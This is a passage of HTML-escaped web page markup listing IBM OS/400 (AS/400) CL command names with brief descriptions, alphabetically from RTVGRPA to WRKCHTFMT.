style=\"display:flex;\"\u003e\u003cspan\u003eRTVGRPA Retrieve Group Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVJOBA Retrieve Job Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVJRNE Retrieve Journal Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVLIBD Retrieve Library Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVMBRD Retrieve Member Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVMSG Retrieve Message\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVNETA Retrieve Network Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVOBJD Retrieve Object Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVPDGPRF Retrieve PDG Profile\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVPWRSCDE Retrieve Power Schedule Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVQMFORM Retrieve Query Management Form\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVQMQRY Retrieve Query Mgmt Query\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVS36A Retrieve S/36 Environment Attr\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVSWLSRC Retrieve Stop Word List Source\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVSYSINF Retrieve System Information\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVSYSVAL Retrieve System Value\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVUSRPRF Retrieve User Profile\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVUSRPRTI Retrieve User Print Info\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVWSCST Retrieve WSCST source\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRUNBCKUP Run Backup\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRUNLPDA Run LPDA-2\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRUNQRY Run Query\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRUNRMTCMD Run Remote Command\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRUNSQLSTM Run SQL Statements\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRVKACCAUT Revoke Access Code Authority\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRVKOBJAUT Revoke Object Authority\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRVKPUBAUT Revoke Public Authority\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRVKUSRPMN Revoke User Permission\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRVKWSOAUT Revoke Workstation Object Aut\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSAV Save Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSAVAPARDTA Save APAR Data\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSAVCFG Save Configuration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSAVCHGOBJ Save Changed Objects\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSAVDLO Save Do*****ent Library Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSAVEBRKMSG Send Break Message\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSAVLIB Save Library\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSAVLICPGM Save Licensed Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSAVOBJ Save Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSAVRST Save Restore\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSAVRSTCHG Save Restore Changed Objects\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSAVRSTDLO Save Restore Doc/Lib Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSAVRSTLIB Save Restore Library\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSAVRSTOBJ Save Restore Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSAVS36F Save S/36 File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSAVS36LIBM Save S/36 Library Members\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSAVSAVFDTA Save Save File Data\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSAVSECDTA Save Security Data\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSAVSHF Save Bookshelf\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSAVSTG Save Storage\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSAVSYS Save System\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSBMCODEJOB Submit CODE Batch Job\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSBMDBJOB Submit Data Base Jobs\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSBMDKTJOB Submit Diskette Jobs\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSBMFNCJOB Submit Finance Job\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSBMJOB Submit Job\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSBMNETJOB Submit Network Job\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSBMNWSCMD Submit Network Server Command\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSBMRJEJOB Submit RJE Job\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSBMRMTCMD Submit Remote Command\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSETATNPGM Set Attention Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSETCSTDTA Set Customization Data\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSETKBDMAP Set Keyboard Map\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSETOBJACC Set Object Access\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSETPGMINF Set Program Information\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSETTAPCGY Set Tape Category\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSETUPGENV Set Upgrade Environment\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSETVT1MAP Set VT100 keyboard map\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSETVTMAP Set VT Keyboard Map\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSETVTTBL Set VT Mapping Tables\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSIGNOFF Sign Off\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSLTCMD Select Command\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSNDDST Send Distribution\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSNDDSTQ Send Distribution Queue\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSNDF Send File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSNDFNCIMG Send Finance Diskette Image\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSNDJRNE Send Journal Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSNDMGRDTA Send Migration Data\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSNDMSG Send Message\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSNDNETF Send Network File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSNDNETMSG Send Network Message\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSNDNETSPLF Send Network Spooled File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSNDNWSMSG Send Network Server Message\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSNDPGMMSG Send Program Message\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSNDPTFORD Send PTF Order\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSNDRCVF Send/Receive File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSNDRJECMD Send RJE Command\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSNDRPY Send Reply\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSNDSRVRQS Send Service Request\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSNDTCPSPLF Send TCP/IP Spooled File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSNDTIEF Send TIE File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSNDUSRMSG Send User Message\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTATFS Display Mounted FS Information\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRAPF Advanced Printer Function\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRBEST Start BEST/1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRCBLDBG Start COBOL Debug\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRCLNUP Start Cleanup\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRCMNSVR Start Communications Server\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRCMNTRC Start Communications Trace\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRCMTCTL Start Commitment Control\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRCODE Start CODE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRCPYSCN Start Copy Screen\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRDBG Start Debug\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRDBGSVR Start Debug Server\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRDBMON Start Database Monitor\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRDBRDR Start Data Base Reader\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRDFU Start DFU\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRDIRSHD Start Directory Shadowing\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRDKTRDR Start Diskette Reader\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRDKTWTR Start Diskette Writer\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTREDU Start Education\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTREML3270 Start 3270 Display Emulation\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTREPMENV Start EPM Environment\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRHOSTSVR Start Host Server\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRIDD Start IDDU\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRINFSKR Start InfoSeeker\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRIPIIFC Start IP over IPX Interface\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRIPSIFC Start IP over SNA Interface\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRIPX Start IPX\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRIPXCCT Start IPX Circuit\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRISDB Start ISDB\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRITF Start ITF\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRJOBTRC Start Job Trace\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRJRNAP Start Journal Access Path\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRJRNPF Start Journal Physical File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRMOD Start Mode\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRMSF Start Mail Server Framework\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRNFSSVR Start NFS Server\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRNWSAPP Start Network Server App\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTROBJCVN Start Object Conversion\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRPASTHR Start Pass-Through\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRPCCMD Start PC Command\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRPCO Start PC Organizer\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRPDM Start PDM\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRPEX Start Performance Explorer\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRPFRCOL Start Performance Collection\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRPFRG Start Performance Graphics\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRPFRMON Start Performance Monitor\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRPFRT Start Performance Tools\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRPGMEXP Start Program Export List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRPGMMNU Start Programmer Menu\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRPJ Start Prestarted Jobs\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRPRTEML Start Printer Emulation\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRPRTWTR Start Printer Writer\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRQM Start DB2 Query Manager OS/400\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRQMPRC Start Query Management Proc\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRQMQRY Start Query Management Query\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRQRY Start Query\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRQST Start Question and Answer\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRREXPRC Start REXX Procedure\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRRJECSL Start RJE Console\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRRJERDR Start RJE Reader\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRRJESSN Start RJE Session\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRRJEWTR Start RJE Writer\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRRLU Start Report Layout Utility\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRRMTSPT Start Remote Support\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRRMTWTR Start Remote Writer\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRS36 Start S/36 Session\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRS36MGR Start S/36 Migration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRS36PRC Start S/36 Procedure\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRS38MGR Start S/38 Migration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRSBS Start Subsystem\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRSCHIDX Start Search Index\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRSDA Start SDA\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRSEU Start Source Entry Utility\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRSPTN Start Support Network\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRSQL Start SQL Interactive Session\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRSRVJOB Start Service Job\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRSST Start System Service Tools\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRTCP Start TCP/IP\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRTCPFTP Start TCP/IP File Transfer\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRTCPIFC Start TCP/IP Interface\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRTCPLNK Start TCP/IP Link\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRTCPPTP Start Point-to-Point TCP/IP\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRTCPSVR Start TCP/IP Server\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRTCPTELN Start TCP/IP TELNET\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRTIESSN Start TIE Session\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTRTRPMGR Start Trap Manager\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTELNET Start TCP/IP TELNET\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTFRBCHJOB Transfer Batch Job\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTFRCTL Transfer Control\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTFRGRPJOB Transfer to Group Job\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTFRJOB Transfer Job\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTFRPASTHR Transfer Pass-Through\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTFRSECJOB Transfer Secondary Job\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTRCCPIC Trace CPI Communications\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTRCICF Trace ICF\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTRCINT Trace Internal\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTRCJOB Trace Job\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTRCREX Trace REXX\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUNMOUNT Remove Mounted FS\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUPDDTA Update Data with Temp Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUPDPGM Update Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUPDSRVPGM Update Service Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUPDSYSINF Update System Information\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eVFYAPPCCNN Verify APPC Connection\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eVFYCMN Verify Communications\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eVFYIPXCNN Verify IPX Connection\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eVFYLNKLPDA Verify Link supporting LPDA-2\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eVFYOPT Verify Optical\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eVFYPRT Verify Printer\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eVFYTAP Verify Tape\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eVFYTCPCNN Verify TCP/IP Connection\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eVRYCFG Vary Configuration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWAIT Wait\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKACTJOB Work with Active Jobs\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKALR Work with Alerts\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKALRD Work with Alert Descriptions\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKALRTBL Work with Alert Table\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKAUT Work with Authority\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKAUTL Work with Authorization Lists\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKBNDDIR Work with Binding Directories\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKBNDDIRE Work with Binding Dir Entries\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKBPTBL Work with BOOTP table\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKCCTRTE Work with Circuit Routes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKCCTSRV Work with Circuit Services\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKCFGL Work with Configuration Lists\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKCFGSTS Work with Configuration Status\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKCHTFMT Work with Chart Formats\n\u003c/span\u003e\u003c/span\u003e\u003cspan 